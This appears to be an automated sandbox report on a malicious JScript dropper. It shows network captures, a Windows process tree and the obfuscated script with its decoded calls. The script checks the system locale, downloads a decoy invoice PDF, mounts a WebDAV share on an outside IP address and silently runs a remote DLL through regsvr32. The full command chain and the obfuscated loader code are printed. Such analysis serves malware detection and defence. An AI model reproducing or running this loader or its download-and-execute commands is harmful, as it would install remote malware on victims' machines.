/CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:52:34.141892910 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:52:34.141906023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:52:34.141917944 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 23:52:34.141931057 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 23:52:34.142111063 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 23:52:34.142128944 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 23:52:34.142141104 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 23:52:34.142154932 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 23:52:34.142168045 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 23:52:34.146994114 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	5236	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:52:35.558156013 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:52:36.356750011 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:52:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:52:30
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1957514819973625739.js"
Imagebase:	0x7ff786900000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:52:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Imagebase:	0x7ff7dbae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:52:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:52:30
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:52:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:52:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dbae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:52:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65e330000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:52:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	17:52:35
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x600000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:52:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1736,i,7578541459819144635,9928862344272280672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yriorm() {	yriorm() ➔ undefined
1	lwtofj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ywpmvqv = this[nztrcold + llvybl + wkalif + onrzx + qdfcvyk + ubuclx + gkysdmyce + ytwklcpl] ( this[atbcl + wsadxsvnf + hkmltcf + wkalif + uwmyvuiu + nztrcold + ytwklcpl][xhfgr + wkalif + qdfcvyk + llvybl + ytwklcpl + qdfcvyk + qduzucim + dzbcxwooj + wurpix + qdfcvyk + hkmltcf + ytwklcpl] ( atbcl + wsadxsvnf + hkmltcf + wkalif + uwmyvuiu + nztrcold + ytwklcpl + lpcxwgmv + wsadxsvnf + vzoizmv + qdfcvyk + xzvwal + xzvwal ) [qrumvcb + qdfcvyk + ksnylhur + qrumvcb + qdfcvyk + llvybl + gwqqwp] ( yegqnghm + acjfaldj + daizosss + tbaei + aecxtupum + xhfgr + trrss + qrumvcb + qrumvcb + daizosss + hcexddyzd + eszjen + aecxtupum + trrss + wsadxsvnf + daizosss + qrumvcb + kpvvdxagi + xhfgr + molhade + gkysdmyce + ytwklcpl + wkalif + molhade + xzvwal + ntznoycv + jxdzkqbim + llvybl + gkysdmyce + qdfcvyk + xzvwal + kpvvdxagi + ubuclx + gkysdmyce + ytwklcpl + qdfcvyk + wkalif + gkysdmyce + llvybl + ytwklcpl + uwmyvuiu + molhade + gkysdmyce + llvybl + xzvwal + kpvvdxagi + frrjdbttt + molhade + hkmltcf + llvybl + xzvwal + qdfcvyk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( yybafsiss = 0 ; yybafsiss < lwtofj[xzvwal + qdfcvyk + gkysdmyce + ksnylhur + ytwklcpl + vzoizmv] ; ++ yybafsiss )
4	{
5	if ( ywpmvqv == lwtofj[yybafsiss] )
6	{
7	ywpmvqv = true;
8	break ;
9	}
10	}
11	if ( ywpmvqv !== true )
12	this[atbcl + wsadxsvnf + hkmltcf + wkalif + uwmyvuiu + nztrcold + ytwklcpl][tcuzvsd + yvpflwdn + uwmyvuiu + ytwklcpl] ( );
13	this[atbcl + wsadxsvnf + hkmltcf + wkalif + uwmyvuiu + nztrcold + ytwklcpl][xhfgr + wkalif + qdfcvyk + llvybl + ytwklcpl + qdfcvyk + qduzucim + dzbcxwooj + wurpix + qdfcvyk + hkmltcf + ytwklcpl] ( atbcl + wsadxsvnf + hkmltcf + wkalif + uwmyvuiu + nztrcold + ytwklcpl + lpcxwgmv + wsadxsvnf + vzoizmv + qdfcvyk + xzvwal + xzvwal ) [wkalif + yvpflwdn + gkysdmyce] ( hkmltcf + icodve + gwqqwp + ntznoycv + fpqsqg + hkmltcf + ntznoycv + nztrcold + molhade + ijbwy + qdfcvyk + wkalif + onrzx + vzoizmv + qdfcvyk + xzvwal + xzvwal + lpcxwgmv + qdfcvyk + huodubjh + qdfcvyk + ntznoycv + aaucsog + xhfgr + molhade + icodve + icodve + llvybl + gkysdmyce + gwqqwp + ntznoycv + qxxhiz + ubuclx + gkysdmyce + ilbxime + molhade + ssdwass + qdfcvyk + aaucsog + atbcl + qdfcvyk + dzbcxwooj + qrumvcb + qdfcvyk + hyyrwcuz + yvpflwdn + qdfcvyk + onrzx + ytwklcpl + ntznoycv + aaucsog + qduzucim + yvpflwdn + ytwklcpl + ogvjboroh + uwmyvuiu + xzvwal + qdfcvyk + ntznoycv + tzbgzfyc + ytwklcpl + qdfcvyk + icodve + nztrcold + tzbgzfyc + kpvvdxagi + uwmyvuiu + gkysdmyce + ilbxime + molhade + uwmyvuiu + hkmltcf + qdfcvyk + lpcxwgmv + nztrcold + gwqqwp + hkjouqkeh + ntznoycv + vzoizmv + ytwklcpl + ytwklcpl + nztrcold + fdrkkfmm + fpqsqg + fpqsqg + uyyhb + tktbikw + wsqrfxibe + lpcxwgmv + uyyhb + odhftdg + wsqrfxibe + lpcxwgmv + uyyhb + lpcxwgmv + udrov + irfuc + jglkyk + fpqsqg + uwmyvuiu + gkysdmyce + ilbxime + molhade + uwmyvuiu + hkmltcf + qdfcvyk + lpcxwgmv + nztrcold + vzoizmv + nztrcold + qxxhiz + fwddpiz + fwddpiz + onrzx + ytwklcpl + llvybl + wkalif + ytwklcpl + ntznoycv + tzbgzfyc + ytwklcpl + qdfcvyk + icodve + nztrcold + tzbgzfyc + kpvvdxagi + uwmyvuiu + gkysdmyce + ilbxime + molhade + uwmyvuiu + hkmltcf + qdfcvyk + lpcxwgmv + nztrcold + gwqqwp + hkjouqkeh + fwddpiz + fwddpiz + hkmltcf + icodve + gwqqwp + ntznoycv + fpqsqg + hkmltcf + ntznoycv + gkysdmyce + qdfcvyk + ytwklcpl + ntznoycv + yvpflwdn + onrzx + qdfcvyk + ntznoycv + kpvvdxagi + kpvvdxagi + uyyhb + tktbikw + wsqrfxibe + lpcxwgmv + uyyhb + odhftdg + wsqrfxibe + lpcxwgmv + uyyhb + lpcxwgmv + udrov + irfuc + jglkyk + phidys + pcfeflml + pcfeflml + pcfeflml + pcfeflml + kpvvdxagi + gwqqwp + llvybl + ilbxime + ijbwy + ijbwy + ijbwy + wkalif + molhade + molhade + ytwklcpl + kpvvdxagi + fwddpiz + fwddpiz + hkmltcf + icodve + gwqqwp + ntznoycv + fpqsqg + hkmltcf + ntznoycv + wkalif + qdfcvyk + ksnylhur + onrzx + ilbxime + wkalif + wsqrfxibe + udrov + ntznoycv + fpqsqg + onrzx + ntznoycv + kpvvdxagi + kpvvdxagi + uyyhb + tktbikw + wsqrfxibe + lpcxwgmv + uyyhb + odhftdg + wsqrfxibe + lpcxwgmv + uyyhb + lpcxwgmv + udrov + irfuc + jglkyk + phidys + pcfeflml + pcfeflml + pcfeflml + pcfeflml + kpvvdxagi + gwqqwp + llvybl + ilbxime + ijbwy + ijbwy + ijbwy + wkalif + molhade + molhade + ytwklcpl + kpvvdxagi + uyyhb + ssmzt + irfuc + tktbikw + udrov + udrov + udrov + wsqrfxibe + wsqrfxibe + udrov + pcfeflml + tktbikw + odhftdg + lpcxwgmv + gwqqwp + xzvwal + xzvwal, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll",0,false) ➔ 0
14	}
15	onrzx = "S";
16	onrzx = "E";
17	onrzx = "L";
18	onrzx = "Q";
19	onrzx = "I";
20	onrzx = "m";
21	onrzx = "J";
22	onrzx = "w";
23	onrzx = "m";
24	onrzx = "V";
25	onrzx = "T";
26	onrzx = "a";
27	onrzx = "A";
28	onrzx = "R";
29	onrzx = "O";
30	onrzx = "z";
31	onrzx = "i";
32	onrzx = "O";
33	onrzx = "e";
34	onrzx = "w";
35	onrzx = "E";
36	onrzx = "c";
37	onrzx = "L";
38	onrzx = "T";
39	onrzx = "a";
40	onrzx = "f";
41	onrzx = "G";
42	onrzx = "d";
43	onrzx = "M";
44	onrzx = "X";
45	onrzx = "t";
46	onrzx = "i";
47	onrzx = "i";
48	onrzx = "s";
49	wkalif = "q";
50	wkalif = "y";
51	wkalif = "Z";
52	wkalif = "T";
53	wkalif = "p";
54	wkalif = "c";
55	wkalif = "I";
56	wkalif = "v";
57	wkalif = "k";
58	wkalif = "I";
59	wkalif = "G";
60	wkalif = "M";
61	wkalif = "F";
62	wkalif = "U";
63	wkalif = "M";
64	wkalif = "o";
65	wkalif = "H";
66	wkalif = "B";
67	wkalif = "D";
68	wkalif = "E";
69	wkalif = "F";
70	wkalif = "y";
71	wkalif = "x";
72	wkalif = "w";
73	wkalif = "i";
74	wkalif = "w";
75	wkalif = "D";
76	wkalif = "r";
77	wkalif = "I";
78	wkalif = "g";
79	wkalif = "x";
80	wkalif = "r";
81	atbcl = "P";
82	atbcl = "b";
83	atbcl = "C";
84	atbcl = "B";
85	atbcl = "H";
86	atbcl = "c";
87	atbcl = "R";
88	atbcl = "m";
89	atbcl = "I";
90	atbcl = "I";
91	atbcl = "k";
92	atbcl = "O";
93	atbcl = "h";
94	atbcl = "i";
95	atbcl = "j";
96	atbcl = "S";
97	atbcl = "v";
98	atbcl = "F";
99	atbcl = "d";
100	atbcl = "t";
101	atbcl = "W";
102	gkysdmyce = "X";
103	gkysdmyce = "O";
104	gkysdmyce = "q";
105	gkysdmyce = "m";
106	gkysdmyce = "j";
107	gkysdmyce = "q";
108	gkysdmyce = "R";
109	gkysdmyce = "m";
110	gkysdmyce = "F";
111	gkysdmyce = "h";
112	gkysdmyce = "t";
113	gkysdmyce = "u";
114	gkysdmyce = "N";
115	gkysdmyce = "Y";
116	gkysdmyce = "j";
117	gkysdmyce = "k";
118	gkysdmyce = "U";
119	gkysdmyce = "b";
120	gkysdmyce = "q";
121	gkysdmyce = "s";
122	gkysdmyce = "O";
123	gkysdmyce = "K";
124	gkysdmyce = "N";
125	gkysdmyce = "x";
126	gkysdmyce = "E";
127	gkysdmyce = "R";
128	gkysdmyce = "n";
129	fdrkkfmm = "w";
130	fdrkkfmm = "m";
131	fdrkkfmm = "a";
132	fdrkkfmm = "K";
133	fdrkkfmm = "D";
134	fdrkkfmm = "T";
135	fdrkkfmm = "u";
136	fdrkkfmm = "p";
137	fdrkkfmm = "H";
138	fdrkkfmm = "g";
139	fdrkkfmm = "l";
140	fdrkkfmm = "L";
141	fdrkkfmm = "o";
142	fdrkkfmm = "G";
143	fdrkkfmm = "g";
144	fdrkkfmm = "n";
145	fdrkkfmm = "f";
146	fdrkkfmm = "h";
147	fdrkkfmm = "Y";
148	fdrkkfmm = "X";
149	fdrkkfmm = "b";
150	fdrkkfmm = "k";
151	fdrkkfmm = "Z";
152	fdrkkfmm = "H";
153	fdrkkfmm = "t";
154	fdrkkfmm = "O";
155	fdrkkfmm = "n";
156	fdrkkfmm = ":";
157	dzbcxwooj = "p";
158	dzbcxwooj = "F";
159	dzbcxwooj = "x";
160	dzbcxwooj = "B";
161	dzbcxwooj = "t";
162	dzbcxwooj = "A";
163	dzbcxwooj = "N";
164	dzbcxwooj = "B";
165	dzbcxwooj = "w";
166	dzbcxwooj = "k";
167	dzbcxwooj = "a";
168	dzbcxwooj = "n";
169	dzbcxwooj = "y";
170	dzbcxwooj = "b";
171	yvpflwdn = "Z";
172	yvpflwdn = "V";
173	yvpflwdn = "B";
174	yvpflwdn = "s";
175	yvpflwdn = "H";
176	yvpflwdn = "F";
177	yvpflwdn = "M";
178	yvpflwdn = "r";
179	yvpflwdn = "w";
180	yvpflwdn = "P";
181	yvpflwdn = "I";
182	yvpflwdn = "s";
183	yvpflwdn = "C";
184	yvpflwdn = "U";
185	yvpflwdn = "s";
186	yvpflwdn = "H";
187	yvpflwdn = "V";
188	yvpflwdn = "R";
189	yvpflwdn = "O";
190	yvpflwdn = "f";
191	yvpflwdn = "u";
192	frrjdbttt = "f";
193	frrjdbttt = "X";
194	frrjdbttt = "J";
195	frrjdbttt = "R";
196	frrjdbttt = "l";
197	frrjdbttt = "s";
198	frrjdbttt = "f";
199	frrjdbttt = "k";
200	frrjdbttt = "v";
201	frrjdbttt = "o";
202	frrjdbttt = "n";
203	frrjdbttt = "h";
204	frrjdbttt = "S";
205	frrjdbttt = "Y";
206	frrjdbttt = "t";
207	frrjdbttt = "w";
208	frrjdbttt = "j";
209	frrjdbttt = "e";
210	frrjdbttt = "W";
211	frrjdbttt = "W";
212	frrjdbttt = "C";
213	frrjdbttt = "X";
214	frrjdbttt = "A";
215	frrjdbttt = "E";
216	frrjdbttt = "U";
217	frrjdbttt = "U";
218	frrjdbttt = "q";
219	frrjdbttt = "w";
220	frrjdbttt = "Y";
221	frrjdbttt = "L";
222	hkjouqkeh = "n";
223	hkjouqkeh = "A";
224	hkjouqkeh = "m";
225	hkjouqkeh = "S";
226	hkjouqkeh = "g";
227	hkjouqkeh = "T";
228	hkjouqkeh = "u";
229	hkjouqkeh = "f";
230	hkjouqkeh = "B";
231	hkjouqkeh = "y";
232	hkjouqkeh = "N";
233	hkjouqkeh = "J";
234	hkjouqkeh = "j";
235	hkjouqkeh = "p";
236	hkjouqkeh = "O";
237	hkjouqkeh = "c";
238	hkjouqkeh = "T";
239	hkjouqkeh = "V";
240	hkjouqkeh = "Q";
241	hkjouqkeh = "S";
242	hkjouqkeh = "C";
243	hkjouqkeh = "p";
244	hkjouqkeh = "f";
245	daizosss = "t";
246	daizosss = "Q";
247	daizosss = "V";
248	daizosss = "C";
249	daizosss = "K";
250	daizosss = "h";
251	daizosss = "b";
252	daizosss = "w";
253	daizosss = "Y";
254	daizosss = "Q";
255	daizosss = "d";
256	daizosss = "k";
257	daizosss = "Q";
258	daizosss = "n";
259	daizosss = "l";
260	daizosss = "y";
261	daizosss = "E";
262	fpqsqg = "O";
263	fpqsqg = "y";
264	fpqsqg = "j";
265	fpqsqg = "i";
266	fpqsqg = "j";
267	fpqsqg = "A";
268	fpqsqg = "f";
269	fpqsqg = "V";
270	fpqsqg = "n";
271	fpqsqg = "O";
272	fpqsqg = "N";
273	fpqsqg = "r";
274	fpqsqg = "A";
275	fpqsqg = "L";
276	fpqsqg = "d";
277	fpqsqg = "S";
278	fpqsqg = "Z";
279	fpqsqg = "x";
280	fpqsqg = "a";
281	fpqsqg = "C";
282	fpqsqg = "I";
283	fpqsqg = "r";
284	fpqsqg = "O";
285	fpqsqg = "t";
286	fpqsqg = "G";
287	fpqsqg = "i";
288	fpqsqg = "v";
289	fpqsqg = "Q";
290	fpqsqg = "/";
291	jxdzkqbim = "y";
292	jxdzkqbim = "t";
293	jxdzkqbim = "A";
294	jxdzkqbim = "A";
295	jxdzkqbim = "S";
296	jxdzkqbim = "u";
297	jxdzkqbim = "U";
298	jxdzkqbim = "N";
299	jxdzkqbim = "u";
300	jxdzkqbim = "P";
301	llvybl = "Y";
302	llvybl = "p";
303	llvybl = "g";
304	llvybl = "j";
305	llvybl = "Z";
306	llvybl = "R";
307	llvybl = "h";
308	llvybl = "a";
309	trrss = "X";
310	trrss = "p";
311	trrss = "F";
312	trrss = "k";
313	trrss = "P";
314	trrss = "T";
315	trrss = "S";
316	trrss = "C";
317	trrss = "W";
318	trrss = "e";
319	trrss = "z";
320	trrss = "X";
321	trrss = "P";
322	trrss = "P";
323	trrss = "e";
324	trrss = "L";
325	trrss = "c";
326	trrss = "f";
327	trrss = "J";
328	trrss = "B";
329	trrss = "f";
330	trrss = "C";
331	trrss = "m";
332	trrss = "T";
333	trrss = "w";
334	trrss = "c";
335	trrss = "I";
336	trrss = "M";
337	trrss = "U";
338	qdfcvyk = "X";
339	qdfcvyk = "s";
340	qdfcvyk = "X";
341	qdfcvyk = "e";
342	tktbikw = "P";
343	tktbikw = "q";
344	tktbikw = "y";
345	tktbikw = "v";
346	tktbikw = "U";
347	tktbikw = "i";
348	tktbikw = "Z";
349	tktbikw = "B";
350	tktbikw = "f";
351	tktbikw = "M";
352	tktbikw = "d";
353	tktbikw = "M";
354	tktbikw = "U";
355	tktbikw = "F";
356	tktbikw = "C";
357	tktbikw = "b";
358	tktbikw = "W";
359	tktbikw = "M";
360	tktbikw = "h";
361	tktbikw = "m";
362	tktbikw = "u";
363	tktbikw = "h";
364	tktbikw = "s";
365	tktbikw = "d";
366	tktbikw = "q";
367	tktbikw = "z";
368	tktbikw = "d";
369	tktbikw = "X";
370	tktbikw = "Z";
371	tktbikw = "p";
372	tktbikw = "Y";
373	tktbikw = "j";
374	tktbikw = "Q";
375	tktbikw = "r";
376	tktbikw = "C";
377	tktbikw = "v";
378	tktbikw = "P";
379	tktbikw = "S";
380	tktbikw = "9";
381	hyyrwcuz = "i";
382	hyyrwcuz = "k";
383	hyyrwcuz = "G";
384	hyyrwcuz = "S";
385	hyyrwcuz = "R";
386	hyyrwcuz = "F";
387	hyyrwcuz = "r";
388	hyyrwcuz = "W";
389	hyyrwcuz = "Z";
390	hyyrwcuz = "P";
391	hyyrwcuz = "K";
392	hyyrwcuz = "o";
393	hyyrwcuz = "n";
394	hyyrwcuz = "Q";
395	hyyrwcuz = "U";
396	hyyrwcuz = "Z";
397	hyyrwcuz = "m";
398	hyyrwcuz = "Z";
399	hyyrwcuz = "B";
400	hyyrwcuz = "b";
401	hyyrwcuz = "A";
